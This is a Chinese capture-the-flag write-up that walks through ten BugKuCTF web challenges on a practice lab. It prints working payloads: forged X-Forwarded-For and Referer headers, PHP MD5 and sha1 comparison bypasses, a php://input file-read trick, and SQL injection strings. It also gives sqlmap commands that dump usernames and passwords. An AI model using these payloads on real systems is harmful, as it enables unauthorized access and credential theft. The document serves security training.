BugKuCTF-WEB超详细解题思路(21-30)

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

程序员本地网站

你从哪里来

前女友

MD5

各种绕过哟

秋名山车神

速度要快

file_get_contents

[Simple SQL injection](#Simple SQL injection)

成绩查询


程序员本地网站

题目信息

打开靶场,让我们从本地访问

从本地访问的话直接将 IP 设置为 127.0.0.1 即可,这里得用到bp,添加一下

复制代码
X-Forwarded-For:127.0.0.1

添加之后发送,得到flag!

你从哪里来

我从河南来~带着胡辣汤~

题目信息

打开靶场,问我是否来自谷歌,难不成我得用谷歌访问,直接用bp搞一下不得了

bp添加

复制代码
Referer: http://www.google.com

好好好,直接从谷歌来,flag给我吧!

前女友

我母胎solo20年,哪来的前女友!告诉我!

题目信息

点开靶场,呜呜呜很感动,那我们就点一下链接吧

发现下图代码

复制代码
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

我们分析一下代码

复制代码
isset() 检查:
isset() 函数用于检查 $_GET 请求中是否存在 v1、v2 和 v3 这三个参数。如果都存在,则程序继续执行,否则什么也不做。
获取 $_GET['v1']、$_GET['v2'] 和 $_GET['v3'] 的值并赋值给变量 $v1、$v2 和 $v3
检查 $v1 和 $v2 是否不同,并且它们的 md5 哈希值是否相等。
$v1 != $v2:确保 $v1 和 $v2 是不同的字符串。
md5($v1) == md5($v2):确保 $v1 和 $v2 的MD5哈希值相同。
这意味着用户需要找到两个不同的值,经过 MD5 哈希后能得到相同的结果。这样的字符串对称问题是已知的哈希碰撞问题。

这道题用MD5数组绕过

构造payload

复制代码
http://160.202.254.160:14784/?v1[]=1&amp&v2[]=2&amp&v3[]=1

呜呜呜,找到flag!

MD5

题目信息

进入靶场,让我放个a?什么意思

应该是输入参数a

复制代码
常规的0e绕过
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

构造payload

复制代码
http://160.202.254.160:14712/?a=s878926199a

找到flag!

各种绕过哟

题目信息

进入靶场发现一堆php代码

复制代码
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
  if ($_GET['uname'] == $_POST['passwd'])
​
•    print 'passwd can not be uname.';
​
  else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
​
•    die('Flag: '.$flag);
​
  else
​
•    print 'sorry!';
​
}
?>

代码逻辑拆解

  1. 输入方式组合 :要求必须同时用 GETuname,用 POSTpasswd

  2. 第一次拦击 :判断 $_GET['uname'] == $_POST['passwd']。如果相等,直接报错退出。

  3. 核心胜利条件sha1($_GET['uname']) === sha1($_POST['passwd']) $_GET['id'] == 'margin'

  4. 迷惑性操作$_GET['id'] = urldecode($_GET['id']);,增加了 URL 双编码的可能性,但直接传字面值也能过。


构造一下payload,找到flag

构造原理:

第一层:避开 unamepasswd 相等的拦截 源码中的第一道判断是 if ($_GET['uname'] == $_POST['passwd'])

  • 你 GET 传的是数组 uname[]=1

  • POST 传的是数组 passwd[]=2

  • 原理: PHP 比较两个数组时,会比对里面的元素值。因为 1 != 2,所以 [1] == [2] 判定为 False 。成功绕过!(这比上一个案例里两边都传 1 要更加稳定,因为如果两边都是 1,有些 PHP 环境会认为数组相等,从而被拦截)

第二层:利用 sha1() 数组特性进行二次绕行 进入 else if 后,校验是 sha1($uname) === sha1($passwd)。这里用的是严格全等(=== ,不能再用 0e 科学计数法了。

  • 原理(核心考点): 在 PHP 7 及以前的版本中,sha1() 函数不接受数组 。如果你传给它是数组,它会直接报错,并且返回 NULL

  • 结果: sha1([1]) 返回 NULLsha1([2]) 也返回 NULL。变成了 NULL === NULL 。在 PHP 中,两个 NULL 严格全等是成立的(返回 True)。这道关也被完美拿下!

第三层:id 参数校验 最后要求 $_GET['id'] == 'margin'

  • 你直接在 URL 里传了明文 id=margin

  • 补充说明(关于代码里的 urldecode): 源码里虽然多写了 $_GET['id'] = urldecode($_GET['id']);,但用明文 margin 直接传过去也能正常通过。如果你想更极限一点,其实传 id=%6D%61%72%67%69%6Emargin 的 URL 编码)也能破,因为经过一次解码后依然会变成 margin

秋名山车神

题目信息

进入靶场,毫无思路

找到大佬的python代码

复制代码
import requests # 引入网络请求库
import re # 引入正则分析库
session = requests.Session() # 创建一个会话对象(用于保存携带 cookies),用于发起多次请求而不丢失 cookies,可以让后台从 cookies 取出它的判断标识字符串,从而判断我们第二次 post 提交过去的数据和他生成的计算结果是否一致
response = session.get("http://160.202.254.160:19193/") # 发起一次 get 请求,获取首页内容
response.encoding = "utf-8" # 设置响应编码为 utf-8,用于正确解析中文
pattern = '<div>(.*?)=\?;</div>' # 定义一个正则表达式,用于匹配隐藏的 div 元素 (\? 代表匹配 ? 这个字符,这里需要懂一点点正则表达式,提取 div 之间的内容,.*? 代表匹配任意字符多次并提取这部分,到=?; 这个位置)
matches = re.findall(pattern, response.text, re.DOTALL) # 用正则表达式匹配首页内容,re.DOTALL 代表匹配任意字符,包括换行符
num = eval(matches[0]) # 每个步骤可以 print 变量打印运行下看值再写下一步,发现 matches 是数组第 0  个元素就是网页那一串计算的表达式,eval() 是执行表达式计算拿到结果给 num 变量
print(num) # 打印下确认看看
# 发起一次 post 请求,并传递 value 参数,并打印返回结果 data 是固定名字的后面跟上题目让传递的参数名和你计算好的结果值
response2 = session.post("http://160.202.254.160:19193/", data={
  "value": num
})
response2.encoding = "utf-8"
print(response2.text) # 打印 post 提交计算后返回的内容

直接搞到flag!

速度要快

题目信息

打开页面,让我再快些

查看源代码

提示要以post方式提交一个参数margin,接下来就要找margin的值为多少,点击网络,发送请求

发现flag,解个码吧

继续解码

得到值为668253,应该就是margin的值了,

还是不行。

但是用hackbar发送post请求后没有得到flag

所以必须在同一会话内、极短时间内发送 POST 请求,提交margin参数,最终 flag 会在 POST 响应体中返回

找了个大佬的脚本解一下

复制代码
import requests
import base64
​
# 题目目标地址
​
url = "http://160.202.254.160:11983/"
​
# 用同一个会话保持Cookie/上下文一致,避免跨请求失效
​
session = requests.Session()
try:
    # 1. 发送GET请求,获取响应头中的编码线索
    get_response = session.get(url, timeout=5)
    get_response.raise_for_status()
    # 提取响应头中的base64编码字符串(根据响应头,字段名为flag)
    encode_str = get_response.headers.get("flag")
    if not encode_str:
        print("错误:未在响应头中找到编码字符串,请检查抓包确认字段名")
        exit()
​
    # 2. 第一次base64解码,获取明文提示和第二段编码
    first_decode = base64.b64decode(encode_str).decode("utf-8")
    print(f"第一次解码结果:{first_decode}")
    # 提取冒号后的第二段base64字符串,二次解码得到margin值
    second_encode = first_decode.split(":")[-1].strip()
    margin_value = base64.b64decode(second_encode).decode("utf-8")
    print(f"提取到的margin值:{margin_value}")
    # 3. 立即发送POST请求,提交margin参数
    post_data = {"margin": margin_value}
    post_response = session.post(url, data=post_data, timeout=5)
    post_response.raise_for_status()
    # 4. 输出最终结果,获取flag
    print("\nPOST请求响应结果(含最终flag):")
    print(post_response.text.strip())
​
except Exception as e:
    print(f"执行出错:{str(e)}")

大佬脚本果真好用,得到flag!

file_get_contents

进入靶场看到一段php代码

复制代码
<?php
extract($_GET); // 1. 致命漏洞:把 GET 参数直接解析成变量
if (!empty($ac)) // 2. 检查变量 $ac 是否为空
{
    $f = trim(file_get_contents($fn)); // 3. 读取 $fn 指向的文件内容
    if ($ac === $f) // 4. 必须严格全等(类型+内容完全一致)
    {
        echo "<p>This is flag:" . $flag . "</p>"; // 5. 输出 $flag
    }
    else echo "<p>sorry!</p>";
}
?>

第1步:extract($_GET); PHP 提取 URL 中的参数,把它变成变量: 此时系统内部:$ac = "1"$fn = "php://input"

第2步:if (!empty($ac)) 因为 $ac 是字符串 "1",不为空。条件成立,进入下一步。

第3步:$f = trim(file_get_contents($fn)); 这是最核心的一步!$fn 的值是字符串 "php://input" 时,file_get_contents 这个函数不会去读硬盘上的文件,而是去读取当前 HTTP 请求的原始 POST Body(即网页下方的 POST 数据) 。 因为你填写的 POST Body 是 1 ,所以函数读取到的内容也是字符 "1"。 经过 trim() 去空格,最终: 此时系统内部:$f = "1"

第4步:if ($ac === $f) 现在我们对比两个变量:

  • $ac 是字符串 "1"

  • $f 也是字符串 "1" 使用 ===(全等)比较,要求值和数据类型 必须完全一样。显然 "1" === "1" 返回 True

第5步:echo ... $flag ... 代码成功进入输出分支。

找到flag!

Simple SQL injection

题目信息

进入靶场,直接用万能账号,密码随便填

复制代码
'  or 1 = 1--

ok,flag到手!

开玩笑,那么简单?对就是那么简单

咱们用sqlmap搞一下

复制代码
python sqlmap.py http://160.202.254.160:11141/article?id=1 --batch

SQLite 无「数据库」概念(只有单个文件),直接枚举所有表。

枚举 users 表的所有字段

复制代码
python sqlmap.py -u "http://160.202.254.160:11141/article?id=1" --batch -T users --columns

直接提取 users 表中 username 和 password 字段的所有数据

复制代码
python sqlmap.py -u "http://160.202.254.160:11141/article?id=1" --batch -T users -C username,password --dump

登录一下,找到flag!

成绩查询

题目信息

进入靶场,让我查成绩

进行注入

输入1有回显,输入1'无回显,可知存在字符型注入。

用order by 来确定列数。可以发现当输入1' order by 4 -- 有回显,而1' order by 5 -- 无回显,确定查询列数为4,即后面的select 语句要有四个参数。

确定好参数,我们就可以来查询数据库 里的表名了,这里要注意的是我们要采用-1'来闭合,主要是为了让回显处能显示我们的查询语句返回值

复制代码
-1'union  select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() -- 

可以得到fl4g,sc两张表,明显,我们所需的表应该是fl4g,然后,获取表中的所有字段(不知道为啥需要用# ,--用不了)

复制代码
-1' union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name='fl4g'#

得到字段名后,就可以得到flag了

复制代码
-1' union select 1,2,3,group_concat(skctf_flag)from skctf.fl4g#